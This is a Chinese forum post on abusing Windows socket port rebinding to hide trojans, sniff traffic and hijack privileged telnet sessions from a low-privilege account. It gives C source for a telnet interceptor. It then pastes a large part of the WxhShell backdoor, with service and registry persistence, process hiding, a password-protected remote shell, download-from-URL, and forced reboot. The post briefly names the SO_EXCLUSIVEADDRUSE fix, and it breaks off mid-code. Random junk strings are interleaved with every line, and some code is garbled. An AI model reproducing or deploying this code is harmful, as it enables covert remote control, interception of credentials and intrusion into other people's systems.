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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @2x0V]AI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !=8L.^5c  
V+4k!  
  saddr.sin_family = AF_INET;  }qgqb  
L8,H9T#e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eO|^Lu]+  
jhjW* F<u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]# tGT0   
clPZd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YR^Ee8_H  
l%-67(  
  这意味着什么?意味着可以进行如下的攻击: 4~]8N@Bii  
[ZL r:2+z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B|Rpm^ |  
&0;{lS[N:L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3{N p 9y.  
.ruz l(6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,d9%Ce.$2  
qv ;1$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ')1}#V/I  
r| 6S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?{ 8sT-Z-L  
/iuUUCk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3iwoMrp  
nzQYn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u8{@PlS  
j. ks UJ  
  #include ims=-1,  
  #include &vJ(P!2f<  
  #include iOX4Kl  
  #include    886 ('  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {WM&  
  int main() teQaHe#  
  { .g(\B  
  WORD wVersionRequested; Pq[0vZ_}dN  
  DWORD ret; hy!'Q>[`  
  WSADATA wsaData; = C$ @DNEc  
  BOOL val; ,oBk>  
  SOCKADDR_IN saddr; 110>p  
  SOCKADDR_IN scaddr; ~vjr;a(B  
  int err; 82Z[eo  
  SOCKET s; E,ZB;  
  SOCKET sc; V1CSXY\2  
  int caddsize; M<M# < kD  
  HANDLE mt; A .jp<>  
  DWORD tid;   {"gyXDE1  
  wVersionRequested = MAKEWORD( 2, 2 ); Xn ZX *Y]"  
  err = WSAStartup( wVersionRequested, &wsaData ); ..Uw8u/  
  if ( err != 0 ) { 2]_4&mU  
  printf("error!WSAStartup failed!\n"); pjmGzK  
  return -1; ]P}K3tN%]  
  } &bS"N)je  
  saddr.sin_family = AF_INET; AK*mcTr  
   j]ln :?\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (to/9OrG  
vP87{J*DE1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0^)8*O9$  
  saddr.sin_port = htons(23); 3-_U-:2"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :xAe<Pq  
  { Z)6nu)  
  printf("error!socket failed!\n"); ]U^d1&k  
  return -1; \^;|S  
  } Dbkuh!R  
  val = TRUE; c9ov;Bw6S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q'Q72Fg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q. ,p6D  
  { Ls$g-k%c@Q  
  printf("error!setsockopt failed!\n"); &[W3e3Asra  
  return -1; mKf>6/s{c  
  } e8P!/x-y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |/T<]+X;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JQbMw>Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @dT: 1s  
E^EU+})Ujr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;*37ta  
  { q_T?G e  
  ret=GetLastError();  u_[4n  
  printf("error!bind failed!\n"); tmY-m,U  
  return -1; !rsqr32]  
  } QE{;M  
  listen(s,2); .olP m3MC  
  while(1) 1$3XKw'  
  { J.1ln = Y  
  caddsize = sizeof(scaddr); S\{^LVXTMd  
  //接受连接请求 [WO%rO^p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MRVz:g\mi  
  if(sc!=INVALID_SOCKET) )o'U0rAx|a  
  { (&Tb,H)=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :zn ?<(sQ  
  if(mt==NULL) %9 -#`  
  { x4HMT/@AG2  
  printf("Thread Creat Failed!\n"); 'j,Li(@}  
  break; G &rYz  
  } 4f*Ua`E_  
  } ,T21z}r  
  CloseHandle(mt); !ovZ>,1  
  } !EmR(x  
  closesocket(s); \dxW44sM  
  WSACleanup(); pD}VB6=  
  return 0; _G}CD|Kx  
  }   5(MZ%-~l  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Q?|gfJH  
  { M\.T 0M_  
  SOCKET ss = (SOCKET)lpParam; 7L~ zI>2  
  SOCKET sc; p`l[cVQ<  
  unsigned char buf[4096]; L ugk`NUvF  
  SOCKADDR_IN saddr; CXP $bt}  
  long num; Q3'B$,3O^  
  DWORD val; IIt^e#s&  
  DWORD ret; (.XDf3   
  //如果是隐藏端口应用的话,可以在此处加一些判断 tm36Lw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !K^Z5A_;  
  saddr.sin_family = AF_INET; "/K&qj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w<F;&' ;@h  
  saddr.sin_port = htons(23); )zLS,/pk^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f w>Gx9  
  { M_.,c Vk  
  printf("error!socket failed!\n"); 5N3!!FFE  
  return -1; HfeflGme*  
  } ]R0A{+]n  
  val = 100; 2}#wd J`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) feq6!k7  
  { kx:lk+Tx  
  ret = GetLastError(); Q"K>ML>0  
  return -1; A7,$y!D  
  } /HJ(Wt q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RnBmy^l"  
  { Sp$x%p0  
  ret = GetLastError(); C=_-p"O#  
  return -1; +D-+}&oW  
  } \F+o=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) % x*Ec[l  
  { 3 ws(uF9$  
  printf("error!socket connect failed!\n"); wyA(}iSq  
  closesocket(sc); "KI,3g _V  
  closesocket(ss); 53+rpU_  
  return -1; d_7Xlp@  
  } VU0tyj$  
  while(1) .]ZuG  
  { lbuW*)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =UKR<@QrK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .gkPG'm[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Md?bAMnG+}  
  num = recv(ss,buf,4096,0); 't%%hw-m}  
  if(num>0) s$\8)V52  
  send(sc,buf,num,0); B[_bJ *  
  else if(num==0) >0+|0ba  
  break; v7OV;e a$  
  num = recv(sc,buf,4096,0); cxJK>%84  
  if(num>0) I/b8  
  send(ss,buf,num,0); ?kFCYZK|"  
  else if(num==0) +=H>s;B  
  break; tD0>(41K  
  } Am?Hkh2  
  closesocket(ss); #IrP"j^  
  closesocket(sc); lnC Wu@{  
  return 0 ; |%cO"d^ri  
  } O2/w:zOg'  
e%c5 OZ3~  
K#sb"x`  
========================================================== ]XafFr6pe  
0V,MDX}#_  
下边附上一个代码,,WXhSHELL -r'seb5  
~S_IU">E  
========================================================== (cA|N0  
&?Z)V-1H  
#include "stdafx.h" 2GKU9cV*`  
=ObtD"  
#include <stdio.h> [ EID27P  
#include <string.h> H!>oLui  
#include <windows.h> .&}4  
#include <winsock2.h> b`|MK4M(  
#include <winsvc.h> Tl7:}X<?  
#include <urlmon.h> t7+Ic  
Qp.!U~  
#pragma comment (lib, "Ws2_32.lib") sPTUGx'  
#pragma comment (lib, "urlmon.lib") a<"& RnG(  
jv=f@:[`I  
#define MAX_USER   100 // 最大客户端连接数 c@#zjJhW]  
#define BUF_SOCK   200 // sock buffer sCCr%r]zL  
#define KEY_BUFF   255 // 输入 buffer xPJJ !mY  
nK'8Mo  
#define REBOOT     0   // 重启 H1j6.i}q  
#define SHUTDOWN   1   // 关机 vG_v89t!ex  
0t[mhmSU,  
#define DEF_PORT   5000 // 监听端口 sr@XumT  
}_/h~D9-T#  
#define REG_LEN     16   // 注册表键长度 ^W[`##,{Od  
#define SVC_LEN     80   // NT服务名长度 4-rI4A<  
L{,7(C=  
// 从dll定义API Ci9wF (<k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V;]VwsZ"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 14YV#o:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c%/&@vs7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UVmyOC[Y{  
d?y\~<  
// wxhshell配置信息 0@x$Cp  
struct WSCFG { B:#0B[  
  int ws_port;         // 监听端口 2|>wY%  
  char ws_passstr[REG_LEN]; // 口令 WJ4UJdf'  
  int ws_autoins;       // 安装标记, 1=yes 0=no @%G"i:HZ&  
  char ws_regname[REG_LEN]; // 注册表键名 ]JPPL4wAT  
  char ws_svcname[REG_LEN]; // 服务名 uWtS83i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2pNJWYW"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )bU")  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /D]r "-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :9q^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UMW^0>Z!v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 35kbE'  
OSi9J.]O  
}; UZ3Aq12U}a  
\bA'Furp  
// default Wxhshell configuration d]~1.i  
struct WSCFG wscfg={DEF_PORT, j?hyN@ns  
    "xuhuanlingzhe", f/i,Zw  
    1, +9rbQ? '  
    "Wxhshell", 6U9Fa=%>}  
    "Wxhshell", ayz1i:Q|  
            "WxhShell Service", -vfu0XI~  
    "Wrsky Windows CmdShell Service", f_2^PF>?  
    "Please Input Your Password: ", 5nqdY*  
  1, 9}$dwl(  
  "http://www.wrsky.com/wxhshell.exe", D c.WvUM  
  "Wxhshell.exe" pcTXTy 28  
    }; k#NMD4(%O  
cD@lor j  
// 消息定义模块 pdqa)>$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aMg f6veM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J$*["y`+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `2,_"9Z(  
char *msg_ws_ext="\n\rExit."; J,KTc'[  
char *msg_ws_end="\n\rQuit."; -mo ' $1  
char *msg_ws_boot="\n\rReboot..."; vUx$[/<  
char *msg_ws_poff="\n\rShutdown..."; yzb&   
char *msg_ws_down="\n\rSave to "; WREGRy  
MJpTr5Vs  
char *msg_ws_err="\n\rErr!"; ,,wx197XeD  
char *msg_ws_ok="\n\rOK!"; d6 EJn/  
bO%ck-om!  
char ExeFile[MAX_PATH]; U I|@5:J  
int nUser = 0; zR_l ^NK  
HANDLE handles[MAX_USER]; BW=6gZ_  
int OsIsNt; <[l}^`IC^4  
]JuB6o_L  
SERVICE_STATUS       serviceStatus; pFRnPOv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l 8us6  
EoW zHa  
// 函数声明 VZ@@j[F(  
int Install(void); ;QD;5 <1  
int Uninstall(void); sn`?Foh  
int DownloadFile(char *sURL, SOCKET wsh); K :ptfD  
int Boot(int flag); Bin&:%|9?  
void HideProc(void); 3"D00~  
int GetOsVer(void); x+`3G.  
int Wxhshell(SOCKET wsl); &`2*6 )qa  
void TalkWithClient(void *cs); [;8fL  
int CmdShell(SOCKET sock); Xb 1^Oj  
int StartFromService(void); #N}}8RL  
int StartWxhshell(LPSTR lpCmdLine); sswAI|6ou  
pvxqeC9`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W?Abx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g c=|< (  
LOkDx2@g  
// 数据结构和表定义 <{Wa[1D  
SERVICE_TABLE_ENTRY DispatchTable[] = R! xc $`N  
{ 4>`w9   
{wscfg.ws_svcname, NTServiceMain}, bGO_y]Pc  
{NULL, NULL} Qnh1s u5  
}; HV(*6b@  
4zbV' ]  
// 自我安装 io_64K+K  
int Install(void) b?L43t,  
{ iPNs EQ0We  
  char svExeFile[MAX_PATH]; gipRVd*TA  
  HKEY key; baGI(Dk  
  strcpy(svExeFile,ExeFile); k-0e#"B  
uRhH_c-6C  
// 如果是win9x系统,修改注册表设为自启动 Kx!|4ya,  
if(!OsIsNt) { [T|1Qq7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k5CIU}H"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WT N!2b  
  RegCloseKey(key); f\w4F'^tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -bQvJ`iF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H}rP{`m  
  RegCloseKey(key); 'Q,<_ L"  
  return 0; 8Wp1L0$B  
    } CMUphS-KE  
  } nwH|Hs riU  
} 1uzfV)  
else { !XceiQu  
J1MnkxJmpQ  
// 如果是NT以上系统,安装为系统服务 jZ yh   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z6pDQ^Ii  
if (schSCManager!=0) f89<o#bm7h  
{ 36UW oo  
  SC_HANDLE schService = CreateService Yy1Pipv  
  ( ||NCVGJG  
  schSCManager, ` XY[ HK  
  wscfg.ws_svcname, THZ3%o=X  
  wscfg.ws_svcdisp, |REU7?B  
  SERVICE_ALL_ACCESS, 3E:<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i/B"d,=<  
  SERVICE_AUTO_START, "E#%x{d  
  SERVICE_ERROR_NORMAL, vUA`V\  
  svExeFile, ]z NL+]1_  
  NULL, Pw1H) <X  
  NULL, kp"cHJNx  
  NULL, -7Wmq[L /  
  NULL, 0Z(b/fdS  
  NULL VlvDodV  
  ); VQ`O;n6/`  
  if (schService!=0) _~"3 LB  
  { qpCi61lTDJ  
  CloseServiceHandle(schService); JOk`emle  
  CloseServiceHandle(schSCManager); U {v_0\ES  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gu=bPQOj  
  strcat(svExeFile,wscfg.ws_svcname); ,oe4*b}O=.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L}nc'smvM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '(*D3ysU  
  RegCloseKey(key); >48Y-w  
  return 0; ><^@1z.J  
    } n_hD  
  } vkLG<Y  
  CloseServiceHandle(schSCManager); p%'((!a2  
} #kEdf0  
} PX'%)5:q;i  
X_2I4Jz]6  
return 1; ['<rfK  
} |R;=P(0it  
D1 z3E;:  
// 自我卸载 un=)k;oh  
int Uninstall(void) o,I642R~  
{ A}# Mrb  
  HKEY key; -B!pg7>'##  
/@e\I0P^  
if(!OsIsNt) { I&0yUhn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LA5rr}<K  
  RegDeleteValue(key,wscfg.ws_regname); CJ b ~~  
  RegCloseKey(key); cj)~7 WF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t~`Ef  
  RegDeleteValue(key,wscfg.ws_regname); ( d.i np(  
  RegCloseKey(key); M"V@>E\L  
  return 0; >LSA?dy!?  
  } L2%P  
} DTY=k  
} oY: "nE  
else { ;MD{p1w  
g(Nf.hko  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^4:= b  
if (schSCManager!=0) TvR2lP  
{ WMg^W(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gS ]'^Sr  
  if (schService!=0) dewu@  
  {  $?YkgK  
  if(DeleteService(schService)!=0) { oR }  
  CloseServiceHandle(schService);  + h&V;  
  CloseServiceHandle(schSCManager); fA^O  
  return 0; M?o`tWLhF  
  } %/y/,yd  
  CloseServiceHandle(schService); AJ /_l;  
  } }PJ:9<G y  
  CloseServiceHandle(schSCManager); 2ou?:5i  
} ?{'Q}%  
} CpXv?uU   
mB\|<2  
return 1; U?>cm`DBP  
} O%I'   
bH&H\ Mx_k  
// 从指定url下载文件 6SwHl_2%  
int DownloadFile(char *sURL, SOCKET wsh) wpvaTHo  
{ LY MfoXp  
  HRESULT hr; 8VnZ@*  
char seps[]= "/"; UJI1n?~  
char *token; RK0IkRXQd  
char *file; ,LvJ'N  
char myURL[MAX_PATH]; @`yfft  
char myFILE[MAX_PATH]; C-7.Sa  
`i-&Z`  
strcpy(myURL,sURL); +qdK]RR}  
  token=strtok(myURL,seps); j:#[voo7  
  while(token!=NULL) uIu0"pv`x  
  { @`{UiTN X`  
    file=token; >jcNo3S  
  token=strtok(NULL,seps); wJ}8y4O!N  
  } @S}'_g  
S=Zjdbd  
GetCurrentDirectory(MAX_PATH,myFILE); O_033&  
strcat(myFILE, "\\"); [T|~K h%#  
strcat(myFILE, file); .Qaqkb-Ty  
  send(wsh,myFILE,strlen(myFILE),0); 7@`(DU`z  
send(wsh,"...",3,0); ^t*BWJxPC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %$08*bAtB7  
  if(hr==S_OK) 0Z\fK>yw  
return 0; BB-`=X~:m  
else Qk6FK]buV  
return 1; x>Kem$z  
~I'h iV^-  
} &lD4-_2J  
4 ClW*l  
// 系统电源模块 C1_NGOvT  
int Boot(int flag) k$zDofdfp  
{ C$_H)I  
  HANDLE hToken; h1"#DnK7  
  TOKEN_PRIVILEGES tkp; ' ySWf,Q^  
6Z3v]X  
  if(OsIsNt) { e&:fzO<~I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +XQ6KG&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #f[yp=uI:  
    tkp.PrivilegeCount = 1;  QS!b]a3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6^ ~& sA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g+f{I'j  
if(flag==REBOOT) { sx9 N8T3n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jN[Z mJz'  
  return 0; nQ mkDPjU  
} *I~F7Z]|  
else { T+\BX$w/4e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PW}Yts7p  
  return 0; d;>:<{z@CD  
} #2pgh?  
  } sbRg=k&Ns  
  else { = zsXa=<  
if(flag==REBOOT) { Ws=J)2q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Z/64E^  
  return 0; P~~RK& +i  
} |(wx6H:  
else { k&Sg`'LG8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'h:4 Fzo<  
  return 0; _PuMZjGL  
} 2 `#|;x^<  
} J%nJO3,  
X/@Gx 4  
return 1; pgI@[zp7  
} sg3%n0Ms.W  
NY_Oo!)3  
// win9x进程隐藏模块 {r Gx*<e  
void HideProc(void) xH92=t-w  
{ @x)z" )>  
':HV9]k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mCg5-E~;  
  if ( hKernel != NULL ) '0[l'Dt'  
  { 7n#0eska,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tJ 6:$dh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fd(>[RP?  
    FreeLibrary(hKernel); *? c~7ru  
  } zj8;ENhEI  
{|a' =I#2  
return; h.DQ6!?;s  
} ;Eck7nRA)  
t]Vw` z%G  
// 获取操作系统版本 62.{8Uj  
int GetOsVer(void) 7m1*Q@D  
{ ek.L(n,J|  
  OSVERSIONINFO winfo; aFhsRE?YC=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eM8u ;i  
  GetVersionEx(&winfo); 5t0$nKah]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,]o32@   
  return 1; '*K/K],S]  
  else *@n%K,$v  
  return 0; K~[/n<ks  
} Qg3 -%i/@  
<n0-zCf  
// 客户端句柄模块 }Za[<t BWS  
int Wxhshell(SOCKET wsl) 3wD6,x-e   
{ c!s{QWd%  
  SOCKET wsh; T1D7H~ \lG  
  struct sockaddr_in client; N!hp^V<7  
  DWORD myID; zVp|%&  
X^"95Ic  
  while(nUser<MAX_USER) eGZId v1  
{ n}a# b%e  
  int nSize=sizeof(client); y9:|}Vh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e=YvM g  
  if(wsh==INVALID_SOCKET) return 1; N-lXC"{)  
8^+Q n/b_%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t:W`=^  
if(handles[nUser]==0) cD7q;|+  
  closesocket(wsh); $lUZm\R|k  
else lxV> rmD  
  nUser++; Jzh_`jW0l  
  } 89~)nV)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?9/%K45  
nJrV  
  return 0; bD=_44I  
} QRx'BY$5  
I/fERnHM/+  
// 关闭 socket <` HLG2  
void CloseIt(SOCKET wsh) 'j>Q7M7q{  
{ )0!hw|0|  
closesocket(wsh); _bFX(~37z?  
nUser--; S__+S7]Nr  
ExitThread(0); XYf;72*  
} ?f:FmgQk  
_^Rf*G!  
// 客户端请求句柄 vfmKYiLp  
void TalkWithClient(void *cs) )4"G1R`3  
{ D{\hPv  
ASPfzW2  
  SOCKET wsh=(SOCKET)cs; pZF`+6 42  
  char pwd[SVC_LEN]; P 3);R>j  
  char cmd[KEY_BUFF]; km.xy_v  
char chr[1]; v"\Q/5p  
int i,j; X`[or:cB  
k'EP->r  
  while (nUser < MAX_USER) { Z-Zox-I1}-  
,253'53W)  
if(wscfg.ws_passstr) { !c'a<{d@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k(!#^Mlz[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kC6J@t)  
  //ZeroMemory(pwd,KEY_BUFF); BPtU]Bv-  
      i=0; Ig*!0(v5$  
  while(i<SVC_LEN) { x>7}>Y*(  
/id(atiF^  
  // 设置超时 6imDA]5N&  
  fd_set FdRead; ]#KZ W)M  
  struct timeval TimeOut; Ez+.tbEA,  
  FD_ZERO(&FdRead); 7hY~  
  FD_SET(wsh,&FdRead); e&#qj^  
  TimeOut.tv_sec=8; `TBau:ElI  
  TimeOut.tv_usec=0; LQ373 j-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~O&3OL:L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cz8=G;\  
g/J ^ YT!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q(>89*b&  
  pwd=chr[0]; XF'K dz>p  
  if(chr[0]==0xd || chr[0]==0xa) { BPwFcT)i!(  
  pwd=0; 6xvyhg#B  
  break; 44]/rP_m  
  } 9^x'x@6  
  i++; &qF   
    } Q3'\Vj,S&  
FlgK:=Fmj  
  // 如果是非法用户,关闭 socket 0Evq</  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fMP$o3;  
} ="JLUq*]s  
!*'uPw:l2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sc`W'q^X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =T|Z[/fto  
Tz:mj  
while(1) { rq:R6e  
/2tgxm$}  
  ZeroMemory(cmd,KEY_BUFF); ;gP@d`s  
cEhwv0f!qS  
      // 自动支持客户端 telnet标准   2a 3i]e5Kt  
  j=0; s: ~3|D][  
  while(j<KEY_BUFF) { #0zMPh /U}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ej4xW~_  
  cmd[j]=chr[0]; 9Qst5n\Z  
  if(chr[0]==0xa || chr[0]==0xd) { DfXXN  
  cmd[j]=0; Rbm"Qz  
  break; [yJcM [p\  
  } 049E# [<Q"  
  j++; \,+act"v  
    } Dh*Uv,  
tl !o;`W  
  // 下载文件 y_;LTCj?  
  if(strstr(cmd,"http://")) { {|9x*I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q$Gf9&ZO  
  if(DownloadFile(cmd,wsh)) MR}GxI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -NGY+1  
  else )`, Bt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ou0(C `  
  } +vY8HQ|v  
  else { ]X ,f  
R/VrBiw  
    switch(cmd[0]) { TyI"fP  
  }'U "HHv  
  // 帮助 /J")S?. [u  
  case '?': { WPPz/c|j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MdV-;uf  
    break; :7 Ro9z8  
  } $<xa "aN!  
  // 安装 vc0'x4  
  case 'i': { -]C3_ve  
    if(Install()) -|"W|K?nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-mPj82R  
    else mI_ ?hl?Pv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q& j:ai*  
    break; f| P%  
    } :OT~xU==H  
  // 卸载 h&|q>M3  
  case 'r': { @ )owj^sA  
    if(Uninstall()) 2K0HN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]@wee08  
    else r+r-[z D(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bKRz=$P?  
    break; {x$jGiag+8  
    } ;-Fr^|do y  
  // 显示 wxhshell 所在路径 C]59@z;+bN  
  case 'p': { E2+x?Sc+  
    char svExeFile[MAX_PATH]; ^@5#jS2  
    strcpy(svExeFile,"\n\r"); I CCmE#n  
      strcat(svExeFile,ExeFile); E`]lr[  
        send(wsh,svExeFile,strlen(svExeFile),0); KV v0bE  
    break; >G(M&  
    } n#8N{ya5x1  
  // 重启 w7GF,a  
  case 'b': {  ;j|T#-.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~?T*D*  
    if(Boot(REBOOT)) #z$FxZT<b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +0lvQVdp}  
    else { x=7hOI5u  
    closesocket(wsh); >*rH Nf  
    ExitThread(0); [ }-CXB  
    } oNH&VHjU  
    break; !#s1'x{o  
    } BiI?eT +  
  // 关机 RKB--$ibj  
  case 'd': { K89 AZxH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i]oSVXx4WC  
